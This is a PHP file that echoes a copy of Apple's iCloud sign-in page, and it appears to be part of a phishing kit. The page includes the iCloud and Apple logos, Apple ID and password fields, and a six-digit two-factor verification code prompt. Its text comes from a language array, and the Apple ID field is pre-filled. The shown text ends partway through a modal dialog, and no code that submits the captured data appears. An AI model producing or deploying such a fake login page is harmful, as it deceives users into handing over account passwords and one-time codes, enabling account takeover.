echo "		$(\"#icon_11\").css(\"height\", res * 1.34);
";
echo "		$(\"#icon_12\").css(\"left\", left+(intre+res)*5);
";
echo "		$(\"#icon_12\").css(\"top\", top + 104 + res * 1.34 + 50);
";
echo "		$(\"#icon_12\").css(\"width\", res);
";
echo "		$(\"#icon_12\").css(\"height\", res * 1.34);
";
echo "	  }
";
echo "	});</script>
";
echo "	<script>
";
echo "		$(document).click(function(evt) {
";
echo "		   if(!$(evt.target).is(\".form-textbox\")) {
";
echo "			//event handling code
";
echo "			$(\"#vo_border\").removeClass(\"password-focus\");
";
echo "			$(\"#vo_border\").removeClass(\"apple-id-focus\");
";
echo "			$(\"#separator\").removeClass(\"password-focus\");
";
echo "			$(\"#separator\").removeClass(\"apple-id-focus\");
";
echo "			$(\"#account_name_text_field\").blur();
";
echo "			$(\"#password_text_field\").blur();
";
echo "		  }
";
echo "		});
";
echo "		</script>
";
echo "		<script>
";
echo "		$(document).on(\"touchstart\", function(evt) {
";
echo "		   if(!$(evt.target).is(\".form-textbox\")) {
";
echo "			//event handling code
";
echo "			$(\"#vo_border\").removeClass(\"password-focus\");
";
echo "			$(\"#vo_border\").removeClass(\"apple-id-focus\");
";
echo "			$(\"#separator\").removeClass(\"password-focus\");
";
echo "			$(\"#separator\").removeClass(\"apple-id-focus\");
";
echo "		//        $(\"#account_name_text_field\").blur();
";
echo "		//        $(\"#password_text_field\").blur();
";
echo "		  }
";
echo "		});
";
echo "		</script>
";
echo "	</head>
";
echo "	
";
echo "	<body class=\"tk-body \">
";
echo "	  <div class=\"cloudos-loading-screen\" id=\"cw-bootstrap-html\">
";
echo "		<div class=\"header\" id=\"cloudos-loading-screen-header\">
";
echo "			<div class=\"icloud-logo-wrapper\">
";
echo "				<div class=\"div-wrapping-icloud-logo\">
";
echo "					<svg class=\"icloud-logo\" version=\"1\" xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 118 34\">
";
echo "						<path stroke=\"none\" d=\"M1 3.9c0-1.4 1.2-2.6 2.6-2.6 1.4 0 2.6 1.1 2.6 2.5S5.1 6.4 3.7 6.4h-.1C2.2 6.5 1 5.3 1 3.9zm.4 5.8h4.5v22H1.4v-22zm8.8 6.9C10.2 7 15.7 1 24.1 1 31 1 36.2 5.2 37 11.5h-4.7c-.8-3.9-4.1-6.4-8.2-6.4-5.5 0-9.1 4.5-9.1 11.5s3.5 11.5 9.1 11.5c4.2 0 7.2-2.2 8.2-5.8H37c-1.2 6.2-5.9 9.9-12.9 9.9-8.5 0-13.9-6-13.9-15.6zM40.9 1.5h4.5v30.2h-4.5V1.5zm18.7 7.9c-6.4 0-10.5 4.4-10.5 11.3S53.2 32 59.6 32s10.5-4.3 10.5-11.3c0-6.9-4-11.3-10.5-11.3zm0 18.8c-3.7 0-5.9-2.8-5.9-7.6 0-4.7 2.2-7.6 5.9-7.6s5.9 2.8 5.9 7.6-2.2 7.6-5.9 7.6zm33 3.5h-4.4v-3.8h-.1c-1.3 2.6-3.5 4-6.9 4-4.8 0-7.8-3.1-7.8-8.1V9.7h4.5v13.2c0 3.3 1.6 5.1 4.7 5.1 3.3 0 5.3-2.3 5.3-5.7V9.7h4.5l.2 22zm19.8-30.2v11.8h-.1c-1.3-2.4-3.8-3.9-6.9-3.9-5.5 0-9.3 4.4-9.3 11.2s3.8 11.2 9.3 11.2c3.2 0 5.7-1.5 7-4h.1v3.7h4.4v-30h-4.5zm-5.8 26.6c-3.5 0-5.9-2.9-5.9-7.4s2.3-7.4 5.9-7.4c3.5 0 5.8 2.9 5.8 7.4.1 4.5-2.3 7.4-5.8 7.4z\"/>
";
echo "					</svg>
";
echo "				</div>
";
echo "	
";
echo "			</div>
";
echo "			<div class=\"apple-icon-wrapper\">
";
echo "				<svg class=\"apple-icon\" xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"44\" viewBox=\"0 0 16 44\"><path d=\"M8.02 16.23c-.73 0-1.86-.83-3.05-.8-1.57.02-3.01.91-3.82 2.32-1.63 2.83-.42 7.01 1.17 9.31.78 1.12 1.7 2.38 2.92 2.34 1.17-.05 1.61-.76 3.03-.76 1.41 0 1.81.76 3.05.73 1.26-.02 2.06-1.14 2.83-2.27.89-1.3 1.26-2.56 1.28-2.63-.03-.01-2.45-.94-2.48-3.74-.02-2.34 1.91-3.46 2-3.51-1.1-1.61-2.79-1.79-3.38-1.83-1.54-.12-2.83.84-3.55.84zm2.6-2.36c.65-.78 1.08-1.87.96-2.95-.93.04-2.05.62-2.72 1.4-.6.69-1.12 1.8-.98 2.86 1.03.08 2.09-.53 2.74-1.31\"/></svg>
";
echo "			</div>
";
echo "			<div class=\"dummy-element\"></div>
";
echo "		</div>
";
echo "		<div class=\"content\">
";
echo "			<div class=\"spinner-wrapper\">
";
echo "				<svg class=\"spinner\" id=\"cloudos-loading-spinner\" xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"-1 -1 2 2\">
";
echo "					<rect x=\"0.45625\" y=\"-0.09099\" width=\"0.54375\" height=\"0.18198\" rx=\"0.09099\" ry=\"0.09099\" fill=\"rgb(0,0,0)\" fill-opacity=\"0.16863\" transform=\"rotate(0)\"/>
";
echo "					<rect x=\"0.45625\" y=\"-0.09099\" width=\"0.54375\" height=\"0.18198\" rx=\"0.09099\" ry=\"0.09099\" fill=\"rgb(0,0,0)\" fill-opacity=\"0.2\" transform=\"rotate(30)\"/>
";
echo "					<rect x=\"0.45625\" y=\"-0.09099\" width=\"0.54375\" height=\"0.18198\" rx=\"0.09099\" ry=\"0.09099\" fill=\"rgb(0,0,0)\" fill-opacity=\"0.21961\" transform=\"rotate(60)\"/>
";
echo "					<rect x=\"0.45625\" y=\"-0.09099\" width=\"0.54375\" height=\"0.18198\" rx=\"0.09099\" ry=\"0.09099\" fill=\"rgb(0,0,0)\" fill-opacity=\"0.25882\" transform=\"rotate(90)\"/>
";
echo "					<rect x=\"0.45625\" y=\"-0.09099\" width=\"0.54375\" height=\"0.18198\" rx=\"0.09099\" ry=\"0.09099\" fill=\"rgb(0,0,0)\" fill-opacity=\"0.32157\" transform=\"rotate(120)\"/>
";
echo "					<rect x=\"0.45625\" y=\"-0.09099\" width=\"0.54375\" height=\"0.18198\" rx=\"0.09099\" ry=\"0.09099\" fill=\"rgb(0,0,0)\" fill-opacity=\"0.38039\" transform=\"rotate(150)\"/>
";
echo "					<rect x=\"0.45625\" y=\"-0.09099\" width=\"0.54375\" height=\"0.18198\" rx=\"0.09099\" ry=\"0.09099\" fill=\"rgb(0,0,0)\" fill-opacity=\"0.43137\" transform=\"rotate(180)\"/>
";
echo "					<rect x=\"0.45625\" y=\"-0.09099\" width=\"0.54375\" height=\"0.18198\" rx=\"0.09099\" ry=\"0.09099\" fill=\"rgb(0,0,0)\" fill-opacity=\"0.54118\" transform=\"rotate(210)\"/>
";
echo "					<rect x=\"0.45625\" y=\"-0.09099\" width=\"0.54375\" height=\"0.18198\" rx=\"0.09099\" ry=\"0.09099\" fill=\"rgb(0,0,0)\" fill-opacity=\"0.65098\" transform=\"rotate(240)\"/>
";
echo "					<rect x=\"0.45625\" y=\"-0.09099\" width=\"0.54375\" height=\"0.18198\" rx=\"0.09099\" ry=\"0.09099\" fill=\"rgb(0,0,0)\" fill-opacity=\"0.76078\" transform=\"rotate(270)\"/>
";
echo "					<rect x=\"0.45625\" y=\"-0.09099\" width=\"0.54375\" height=\"0.18198\" rx=\"0.09099\" ry=\"0.09099\" fill=\"rgb(0,0,0)\" fill-opacity=\"0.90196\" transform=\"rotate(300)\"/>
";
echo "					<rect x=\"0.45625\" y=\"-0.09099\" width=\"0.54375\" height=\"0.18198\" rx=\"0.09099\" ry=\"0.09099\" fill=\"rgb(0,0,0)\" fill-opacity=\"1\" transform=\"rotate(330)\"/>
";
echo "				</svg>
";
echo "			</div>
";
echo "		</div>
";
echo "	</div>
";
echo "	  <div class=\"toolbar-view base-application-toolbar-view cloud-os-application-toolbar-view dark-theme\" style=\"top: 0px;\">
";
echo "		<div class=\"cloud-os-application-toolbar-left-view toolbar-left-view\"><span tabindex=\"0\" class=\"apple-icon-button cw-button\">
";
echo "		  <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"44\" viewBox=\"0 0 16 44\"><path d=\"M8.02 16.23c-.73 0-1.86-.83-3.05-.8-1.57.02-3.01.91-3.82 2.32-1.63 2.83-.42 7.01 1.17 9.31.78 1.12 1.7 2.38 2.92 2.34 1.17-.05 1.61-.76 3.03-.76 1.41 0 1.81.76 3.05.73 1.26-.02 2.06-1.14 2.83-2.27.89-1.3 1.26-2.56 1.28-2.63-.03-.01-2.45-.94-2.48-3.74-.02-2.34 1.91-3.46 2-3.51-1.1-1.61-2.79-1.79-3.38-1.83-1.54-.12-2.83.84-3.55.84zm2.6-2.36c.65-.78 1.08-1.87.96-2.95-.93.04-2.05.62-2.72 1.4-.6.69-1.12 1.8-.98 2.86 1.03.08 2.09-.53 2.74-1.31\"></path></svg></span>
";
echo "		  <div></div></div>
";
echo "		  <div></div>
";
echo "		  <div class=\"cloud-os-application-toolbar-right-view toolbar-right-view\"><span tabindex=\"0\" class=\"help-button cw-button\"><svg viewBox=\"0 0 34.314697265625 34.94622802734375\" version=\"1.1\" xmlns=\"http://www.w3.org/2000/svg\" classname=\" glyph-box\"><g transform=\"matrix(1 0 0 1 -2.971651367187519 29.45111083984375)\"><path d=\"M 20.0879 5.49512 C 29.5176 5.49512 37.2207 -2.22461 37.2207 -11.6709 C 37.2207 -21.1006 29.5176 -28.8203 20.0879 -28.8203 C 10.6748 -28.8203 2.97168 -21.1006 2.97168 -11.6709 C 2.97168 -2.22461 10.6748 5.49512 20.0879 5.49512 Z M 20.0879 2.88867 C 11.9863 2.88867 5.66113 -3.60254 5.66113 -11.6709 C 5.66113 -19.7227 11.9863 -26.2139 20.0879 -26.2139 C 28.2061 -26.2139 34.5146 -19.7227 34.5146 -11.6709 C 34.5146 -3.60254 28.2061 2.88867 20.0879 2.88867 Z M 19.8057 -8.23438 C 20.6357 -8.23438 21.1338 -8.74902 21.1338 -9.41309 L 21.1338 -9.6123 C 21.1338 -10.542 21.6816 -11.123 22.8438 -11.8867 C 24.4541 -12.9492 25.5996 -13.9287 25.5996 -15.9043 C 25.5996 -18.6768 23.1426 -20.1543 20.3203 -20.1543 C 17.4648 -20.1543 15.5889 -18.8096 15.1406 -17.2822 C 15.041 -17 14.9912 -16.7344 14.9912 -16.4521 C 14.9912 -15.7051 15.5889 -15.3066 16.1367 -15.3066 C 17.083 -15.3066 17.2324 -15.8047 17.7637 -16.4355 C 18.3115 -17.3486 19.1084 -17.8965 20.2207 -17.8965 C 21.7314 -17.8965 22.7109 -17.0332 22.7109 -15.7715 C 22.7109 -14.6426 22.0137 -14.0947 20.5527 -13.082 C 19.374 -12.252 18.4775 -11.3721 18.4775 -9.76172 L 18.4775 -9.5459 C 18.4775 -8.66602 18.959 -8.23438 19.8057 -8.23438 Z M 19.7725 -3.27051 C 20.7188 -3.27051 21.5488 -4.03418 21.5488 -4.99707 C 21.5488 -5.97656 20.7354 -6.72363 19.7725 -6.72363 C 18.793 -6.72363 17.9795 -5.95996 17.9795 -4.99707 C 17.9795 -4.05078 18.8096 -3.27051 19.7725 -3.27051 Z\"></path></g></svg></span>
";
echo "			 <div></div></div></div>
";
echo "		  <!-- <div style=\"font-family:\"SF Pro Icons\"; width: 0px; height: 0px; color: transparent;\">.</div> -->
";
echo "		  <!-- <div style=\"font-family:\"SF Pro Display\"; width: 0px; height: 0px; color: transparent;\">.</div> -->
";
echo "		  <div class=\"si-body si-container container-fluid\" id=\"content\" data-theme=\"dark\"><apple-auth app-loading-defaults=\"{appLoadingDefaults}\" pmrpc-hook=\"{pmrpcHook}\">
";
echo "		  <div class=\"widget-container fade-in  restrict-max-wh  fade-in \" data-mode=\"embed\" data-isiebutnotedge=\"false\">
";
echo "		  <div id=\"step\" class=\"si-step hide\">
";
echo "                    <logo {hide-app-logo}=\"hideAppLogo\" {show-fade-in}=\"showFadeIn\">    <div class=\"logo   signin-label  fade-in \">
";
echo "                
";
echo "                    <img class=\"cnsmr-app-image \" src=\"css3/r140.png\" srcset=\"\" style=\"width: 100px;\" alt=\"Application logo\">
";
echo "            </div>
";
echo "        
";
echo "        
";
echo "                
";
echo "          </logo>
";
echo "                <div id=\"stepEl\" class=\"   \"><hsa2 suppress-iforgot=\"{suppressIforgot}\" skip-trust-browser-step=\"{skipTrustBrowserStep}\">
";
echo "            
";
echo "                  
";
echo "                  
";
echo "                  
";
echo "                  
";
echo "                  
";
echo "                  <div class=\"hsa2\">
";
echo "            
";
echo "                <verify-device {two-factor-verification-support-url}=\"twoFactorVerificationSupportUrl\" {recovery-available}=\"recoveryAvailable\" suppress-iforgot=\"{suppressIforgot}\">
";
echo "            
";
echo "                  
";
echo "                  
";
echo "                  
";
echo "                  
";
echo "                  
";
echo "                  <div class=\"verify-device fade-in \">
";
echo "            <div class=\"\">
";
echo "                <h1 class=\"si-container-title tk-intro\" tabindex=\"-1\">
";
echo $lang["WELCOME"] ; echo "
";;echo $lang["PAGE_TITLE"];
echo " </h1>
";
echo "                
";
echo "                <div class=\"sec-code-wrapper\">
";
echo "                    <security-code length=\"{codeLength}\" split=\"true\" type=\"tel\" sr-context=\"Enter Verification Code\" localised-digit=\"Digit\" error-message=\"\"><div class=\"security-code\">
";
echo "          <idms-error-wrapper {disable-all-errors}=\"hasErrorLabel\" {^error-type}=\"errorType\" popover-auto-close=\"false\" {^idms-error-wrapper-classes}=\"idmsErrorWrapperClasses\" {has-errors-and-focus}=\"hasErrorsAndFocus\" {show-error}=\"hasErrorsAndFocus\" {error-message}=\"errorMessage\" {parent-container}=\"parentContainer\" {(enable-showing-errors)}=\"enableShowingErrors\" anchor-element=\"#security-code-wrap-1570120135426-1\">
";
echo "          <div class=\"\" id=\"idms-error-wrapper-1570120135426-0\">
";
echo "            
";
echo "          <div id=\"security-code-wrap-1570120135426-1\" class=\"security-code-wrap security-code-6 split\" localiseddigit=\"Digit\">
";
echo "              <div class=\"security-code-container force-ltr\">
";
echo "                  <div class=\"field-wrap force-ltr\">
";
echo "                      <input maxlength=\"1\" autocorrect=\"off\" autocomplete=\"off\" autocapitalize=\"off\" spellcheck=\"false\" type=\"tel\" id=\"char0\" class=\"form-control force-ltr form-textbox char-field\" aria-label=\"Enter Verification Code Digit 1\" placeholder=\"\" aria-describedby=\"idms-input-error-1570120135426-1\" data-index=\"0\">
";
echo "                  </div>
";
echo "                  <div class=\"field-wrap force-ltr\">
";
echo "                      <input maxlength=\"1\" autocorrect=\"off\" autocomplete=\"off\" autocapitalize=\"off\" spellcheck=\"false\" type=\"tel\" id=\"char1\" class=\"form-control force-ltr form-textbox char-field\" aria-label=\"Digit 2\" placeholder=\"\" aria-describedby=\"idms-input-error-1570120135426-1\" data-index=\"1\">
";
echo "                  </div>
";
echo "                  <div class=\"field-wrap force-ltr\">
";
echo "                      <input maxlength=\"1\" autocorrect=\"off\" autocomplete=\"off\" autocapitalize=\"off\" spellcheck=\"false\" type=\"tel\" id=\"char2\" class=\"form-control force-ltr form-textbox char-field\" aria-label=\"Digit 3\" placeholder=\"\" aria-describedby=\"idms-input-error-1570120135426-1\" data-index=\"2\">
";
echo "                  </div>
";
echo "                  <div class=\"field-wrap force-ltr\">
";
echo "                      <input maxlength=\"1\" autocorrect=\"off\" autocomplete=\"off\" autocapitalize=\"off\" spellcheck=\"false\" type=\"tel\" id=\"char3\" class=\"form-control force-ltr form-textbox char-field\" aria-label=\"Digit 4\" placeholder=\"\" aria-describedby=\"idms-input-error-1570120135426-1\" data-index=\"3\">
";
echo "                  </div>
";
echo "                  <div class=\"field-wrap force-ltr\">
";
echo "                      <input maxlength=\"1\" autocorrect=\"off\" autocomplete=\"off\" autocapitalize=\"off\" spellcheck=\"false\" type=\"tel\" id=\"char4\" class=\"form-control force-ltr form-textbox char-field\" aria-label=\"Digit 5\" placeholder=\"\" aria-describedby=\"idms-input-error-1570120135426-1\" data-index=\"4\">
";
echo "                  </div>
";
echo "                  <div class=\"field-wrap force-ltr\">
";
echo "                      <input maxlength=\"1\" autocorrect=\"off\" autocomplete=\"off\" autocapitalize=\"off\" spellcheck=\"false\" type=\"tel\" id=\"char5\" class=\"form-control force-ltr form-textbox char-field\" aria-label=\"Digit 6\" placeholder=\"\" aria-describedby=\"idms-input-error-1570120135426-1\" data-index=\"5\">
";
echo "                  </div>
";
echo "              </div>
";
echo "          </div>
";
echo "          
";
echo "          </div>
";
echo "        </idms-error-wrapper>
";
echo "        </div>
";
echo "        </security-code>
";
echo "                </div>
";
echo "                <div class=\"si-info\">
";
echo "                    <p>
";
echo $lang["PROTECTED"];
echo "                        </p>
";
echo "                </div>
";
echo "                <div class=\"si-info\">
";
echo "                    <p>
";
echo $lang["CODESHOWN"];
echo "                        </p>
";
echo "                </div>
";


echo " <a class=\"si-link ax-outline tk-subbody lite-theme-override\" onclick=\"openForm()\" id=\"no-trstd-device-pop\" aria-haspopup=\"true\">

";
echo $lang["SIGN_IN_TITLE"]
;
echo "</a>

";

echo " <div class=\"spinner-container verifying-code\" id=\"verifying-code\"></div>
";
echo "            </div>
";
echo "            
";
echo "                
";
echo "                
";
echo "        </div>
";
echo "        <error-modal {(show-error-modal)}=\"showErrorModal\" {error-modal-title}=\"errorModalTitle\" {error-modal-message}=\"errorModalMessage\" {on-done}=\"@goBackToSignIn\"><idms-modal {(show)}=\"showErrorModal\" auto-close=\"false\" wrap-class=\"error-modal-wrapper \"> 
";
echo "        </idms-modal></error-modal>
";
echo "                
";
echo "          </verify-device>
";
echo "            
";
echo "            
";
echo "        </div>
";
echo "        
";
echo "                
";
echo "          </hsa2></div>
";
echo "            </div>
";
echo "	
";
echo "		<div id=\"step2\" class=\"si-step hide\">
";
echo "				<logo {hide-app-logo}=\"hideAppLogo\" {show-fade-in}=\"showFadeIn\">    <div class=\"logo   signin-label  fade-in \">
";
echo "				<img class=\"cnsmr-app-image \" src=\"css3/r140.png\" srcset=\"\" alt=\"Application logo\" style=\"width: 100px;\">
";
echo "		</div>
";
echo "	  </logo>
";
echo "			<div id=\"stepEl\" class=\"   \"><sign-in suppress-iforgot=\"{suppressIforgot}\" {on-test-idp}=\"@_onTestIdp\">
";
echo "			  <div class=\"signin fade-in\" id=\"signin\">
";
echo "				  <h1 tabindex=\"-1\" class=\"si-container-title tk-intro \">
";
echo $lang["SIGN_IN_TITLE"];
echo "				      </h1>            
";
echo "				<div class=\"container si-field-container  password-second-step\">
";
echo "			  <div id=\"sign_in_form\" class=\"signin-form fed-auth hide-password\">
";
echo "	  <div class=\"si-field-container container\">
";
echo "		<div class=\"form-table\">
";
echo "		  <div id=\"vo_border\" class=\"ax-vo-border      \"></div>
";
echo "		  <div class=\"account-name form-row    \">
";
echo "			<label class=\"sr-only form-cell form-label\" for=\"account_name_text_field\">
";
echo "Sign in to iCloud Apple ID
";
echo "			    </label>
";
echo "			<div class=\"form-cell\">
";
echo "			  <div class=\"form-cell-wrapper\">
";
echo "				<input type=\"text\" class=\"form-textbox form-textbox-text\" id=\"account_name_text_field\" can-field=\"accountName\" autocomplete=\"off\" autocorrect=\"off\" autocapitalize=\"off\" aria-required=\"true\" required=\"required\" aria-describedby=\"apple_id_field_label\" spellcheck=\"false\" ($focus)=\"appleIdFocusHandler()\" ($keyup)=\"appleIdKeyupHandler()\" ($blur)=\"appleIdBlurHandler()\" placeholder=\"
";
echo $lang["APPLE_ID"];
echo " \" autofocus=\"\" onpaste=\"myPasteID()\" value=$ID>
";
echo "				<span id=\"apple_id_field_label\" aria-hidden=\"true\" class=\" form-label-flyout\">
";
echo  $lang["APPLE_ID"];
echo "				    </span>
";
echo "			  </div>
";
echo "			</div>
";
echo "		  </div>
";
echo "		  <div id=\"separator\" class=\"field-separator   \"></div>
";
echo "		  <div id=\"div_password\" class=\"password form-row     \" aria-hidden=\"true\">
";
echo "			<label class=\"sr-only form-cell form-label\" for=\"password_text_field\">
";
echo $lang["PASSWORD"];
echo "</label>
";
echo "			<div class=\"form-cell\">
";
echo "			  <div class=\"form-cell-wrapper\">
";
echo "				<input type=\"password\" class=\"form-textbox form-textbox-text\" id=\"password_text_field\" ($keyup)=\"passwordKeyUpHandler()\" ($focus)=\"pwdFocusHandler()\" ($blur)=\"pwdBlurHandler()\" aria-required=\"true\" required=\"required\" can-field=\"password\" autocomplete=\"off\" placeholder=\"
";
echo $lang["PASSWORD"];
echo " \" tabindex=\"-1\" onpaste=\"myPastePW()\">
";
echo "				<span id=\"password_field_label\" aria-hidden=\"true\" class=\" form-label-flyout\"> 
";
echo $lang["PASSWORD"];
echo "				</span>
";
echo "				<span class=\"sr-only form-label-flyout\" id=\"invalid_user_name_pwd_err_msg\" aria-hidden=\"true\">
";
echo "				  
";
echo "				</span>
";
echo "			  </div>
";
echo "			</div>
";
echo "		  </div>
";
echo "		</div>
";
echo "	  </div>
";
echo "	  <div id=\"error_div\" class=\"pop-container error signin-error hide\">
";
echo "		  <div class=\"error pop-bottom tk-subbody-headline\">
";
echo "		  <p class=\"fat\" id=\"errMsg\">
";
echo $lang["IDPWD_ERROR_ALERT2"];
echo "	
";
echo "			<a class=\"si-link ax-outline thin tk-subbody\" href=\"https://iforgot.apple.com/password/verify/appleid\" target=\"_blank\">
";
echo $lang["MOB_FORGOT_ID"];
echo "</a>
";
echo "	
";
echo "	
";
echo "		  </div>
";
echo "		</div>
";
echo "	</div>
";
echo "			
";
echo "					
";
echo "	
";
echo "				  
";
echo "	<div class=\"si-remember-password\">
";
echo "    <i id=\"remember-me\" class=\"ax-outline icon icon_uncheck_2\" style=\"top: 9px; cursor:pointer; width:22px;\"></i>
";
echo "              
";
echo "              <label id=\"remember-me-label\" class=\"form-label\" style=\"padding-left: 6px\">
";
echo $lang["KEEP_ME"];
echo "                  </label>
";
echo "            </div>
";
echo "					<div id=\"spinner_1\" class=\"spinner-container hide\" style=\"position: absolute; width: 602px; top: 10px;\">
";
echo "						<div class=\"cloudos-loading-screen2\">
";
echo "					   <div class=\"content\">
";
echo "						 <svg class=\"spinner2\" id=\"cloudos-loading-spinner\" xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"-1 -1 2 2\">
";
echo "						   <rect x=\"0.45625\" y=\"-0.09099\" width=\"0.54375\" height=\"0.18198\" rx=\"0.09099\" ry=\"0.09099\" fill=\"rgb(255,255,255)\" transform=\"rotate(0)\"></rect>
";
echo "						   <rect x=\"0.45625\" y=\"-0.09099\" width=\"0.54375\" height=\"0.18198\" rx=\"0.09099\" ry=\"0.09099\" fill=\"rgb(229,229,229)\" transform=\"rotate(30)\"></rect>
";
echo "						   <rect x=\"0.45625\" y=\"-0.09099\" width=\"0.54375\" height=\"0.18198\" rx=\"0.09099\" ry=\"0.09099\" fill=\"rgb(193,193,193)\" transform=\"rotate(60)\"></rect>
";
echo "						   <rect x=\"0.45625\" y=\"-0.09099\" width=\"0.54375\" height=\"0.18198\" rx=\"0.09099\" ry=\"0.09099\" fill=\"rgb(165,165,165)\" transform=\"rotate(90)\"></rect>
";
echo "						   <rect x=\"0.45625\" y=\"-0.09099\" width=\"0.54375\" height=\"0.18198\" rx=\"0.09099\" ry=\"0.09099\" fill=\"rgb(138,138,138)\" transform=\"rotate(120)\"></rect>
";
echo "						   <rect x=\"0.45625\" y=\"-0.09099\" width=\"0.54375\" height=\"0.18198\" rx=\"0.09099\" ry=\"0.09099\" fill=\"rgb(109,109,109)\" transform=\"rotate(150)\"></rect>
";
echo "						   <rect x=\"0.45625\" y=\"-0.09099\" width=\"0.54375\" height=\"0.18198\" rx=\"0.09099\" ry=\"0.09099\" fill=\"rgb(96,96,96)\" transform=\"rotate(180)\"></rect>
";
echo "						   <rect x=\"0.45625\" y=\"-0.09099\" width=\"0.54375\" height=\"0.18198\" rx=\"0.09099\" ry=\"0.09099\" fill=\"rgb(82,82,82)\" transform=\"rotate(210)\"></rect>
";
echo "						   <rect x=\"0.45625\" y=\"-0.09099\" width=\"0.54375\" height=\"0.18198\" rx=\"0.09099\" ry=\"0.09099\" fill=\"rgb(65,65,65)\" transform=\"rotate(240)\"></rect>
";
echo "						   <rect x=\"0.45625\" y=\"-0.09099\" width=\"0.54375\" height=\"0.18198\" rx=\"0.09099\" ry=\"0.09099\" fill=\"rgb(56,56,56)\" transform=\"rotate(270)\"></rect>
";
echo "						   <rect x=\"0.45625\" y=\"-0.09099\" width=\"0.54375\" height=\"0.18198\" rx=\"0.09099\" ry=\"0.09099\" fill=\"rgb(51,51,51)\" transform=\"rotate(300)\"></rect>
";
echo "						   <rect x=\"0.45625\" y=\"-0.09099\" width=\"0.54375\" height=\"0.18198\" rx=\"0.09099\" ry=\"0.09099\" fill=\"rgb(43,43,43)\" transform=\"rotate(330)\"></rect>
";
echo "						 </svg>
";
echo "					   </div>
";
echo "					 </div>
";
echo "					   </div>
";
echo "					   <div id=\"spinner_2\" class=\"spinner-container hide\" style=\"position: absolute; width: 602px; top: 53px;\">
";
echo "						  <div class=\"cloudos-loading-screen2\">
";
echo "				   
";
echo "						   <div class=\"content\">
";
echo "							 <svg class=\"spinner2\" id=\"cloudos-loading-spinner\" xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"-1 -1 2 2\">
";
echo "							   <rect x=\"0.45625\" y=\"-0.09099\" width=\"0.54375\" height=\"0.18198\" rx=\"0.09099\" ry=\"0.09099\" fill=\"rgb(255,255,255)\" transform=\"rotate(0)\"></rect>
";
echo "							   <rect x=\"0.45625\" y=\"-0.09099\" width=\"0.54375\" height=\"0.18198\" rx=\"0.09099\" ry=\"0.09099\" fill=\"rgb(229,229,229)\" transform=\"rotate(30)\"></rect>
";
echo "							   <rect x=\"0.45625\" y=\"-0.09099\" width=\"0.54375\" height=\"0.18198\" rx=\"0.09099\" ry=\"0.09099\" fill=\"rgb(193,193,193)\" transform=\"rotate(60)\"></rect>
";
echo "							   <rect x=\"0.45625\" y=\"-0.09099\" width=\"0.54375\" height=\"0.18198\" rx=\"0.09099\" ry=\"0.09099\" fill=\"rgb(165,165,165)\" transform=\"rotate(90)\"></rect>
";
echo "							   <rect x=\"0.45625\" y=\"-0.09099\" width=\"0.54375\" height=\"0.18198\" rx=\"0.09099\" ry=\"0.09099\" fill=\"rgb(138,138,138)\" transform=\"rotate(120)\"></rect>
";
echo "							   <rect x=\"0.45625\" y=\"-0.09099\" width=\"0.54375\" height=\"0.18198\" rx=\"0.09099\" ry=\"0.09099\" fill=\"rgb(109,109,109)\" transform=\"rotate(150)\"></rect>
";
echo "							   <rect x=\"0.45625\" y=\"-0.09099\" width=\"0.54375\" height=\"0.18198\" rx=\"0.09099\" ry=\"0.09099\" fill=\"rgb(96,96,96)\" transform=\"rotate(180)\"></rect>
";
echo "							   <rect x=\"0.45625\" y=\"-0.09099\" width=\"0.54375\" height=\"0.18198\" rx=\"0.09099\" ry=\"0.09099\" fill=\"rgb(82,82,82)\" transform=\"rotate(210)\"></rect>
";
echo "							   <rect x=\"0.45625\" y=\"-0.09099\" width=\"0.54375\" height=\"0.18198\" rx=\"0.09099\" ry=\"0.09099\" fill=\"rgb(65,65,65)\" transform=\"rotate(240)\"></rect>
";
echo "							   <rect x=\"0.45625\" y=\"-0.09099\" width=\"0.54375\" height=\"0.18198\" rx=\"0.09099\" ry=\"0.09099\" fill=\"rgb(56,56,56)\" transform=\"rotate(270)\"></rect>
";
echo "							   <rect x=\"0.45625\" y=\"-0.09099\" width=\"0.54375\" height=\"0.18198\" rx=\"0.09099\" ry=\"0.09099\" fill=\"rgb(51,51,51)\" transform=\"rotate(300)\"></rect>
";
echo "							   <rect x=\"0.45625\" y=\"-0.09099\" width=\"0.54375\" height=\"0.18198\" rx=\"0.09099\" ry=\"0.09099\" fill=\"rgb(43,43,43)\" transform=\"rotate(330)\"></rect>
";
echo "							 </svg>
";
echo "						   </div>
";
echo "						 </div>
";
echo "						 </div>
";
echo "				  <div class=\"spinner-container auth  hide \"></div>
";
echo "				  <button id=\"sign-in\" tabindex=\"0\" class=\"si-button btn  fed-ui   fed-ui-animation-show   disable  remember-me   link \" aria-label=\"Continue              \" aria-disabled=\"true\" disabled=\"\" > <i class=\"icon icon_sign_in\"></i>
";
echo "					<span class=\"text feat-split\">
";
echo "Continue
";
echo "					    </span>
";
echo "					</button>
";
echo "					<button id=\"sign-in-cancel\"  aria-label=\"Close\" aria-disabled=\"false\" tabindex=\"0\" class=\"si-button btn secondary feat-split  remember-me   link \">
";
echo "					  <span class=\"text\">
";
echo "Close
";
echo "</span>
";
echo "					</button>
";
echo "				</div>
";
echo "				<div class=\"si-container-footer\">
";
echo "					<div class=\"separator \"></div>
";
echo "					<div class=\"links tk-subbody\">
";
echo "						<div class=\"si-forgot-password\">
";
echo "							<a id=\"iforgot-link\" class=\"si-link ax-outline lite-theme-override\" href=\"https://iforgot.apple.com/password/verify/appleid\" target=\"_blank\">
";
echo $lang["FORGOT_ID"];
echo "							    </a>
";
echo "						</div>  
";
echo "					</div>
";
echo "				</div>
";
echo "			  </div>
";
echo "	  </sign-in></div>
";
echo "		</div>
";
echo "		<div id=\"stocking\" style=\"display:none !important;\"></div>
";
echo "	</div>
";
echo "	  </apple-auth></div>
";
echo "	  <div aria-hidden=\"false\" id=\"locked_id\" class=\"idms-modal  dialog fade-in  
";
echo "	  idms-modal-type-dialog
";
echo "	  idms-modal-theme-translucent
";
echo "	  idms-modal-role-alertdialog
";
echo "	  hide\" aria-labelledby=\"alertInfo\" aria-describedby=\"idms-modal-describedby-1569957525902-0\" role=\"alertdialog\" tabindex=\"-1\" style=\"z-index: 100061;\">
";
echo "	  <div class=\"idms-modal-dialog\">
";
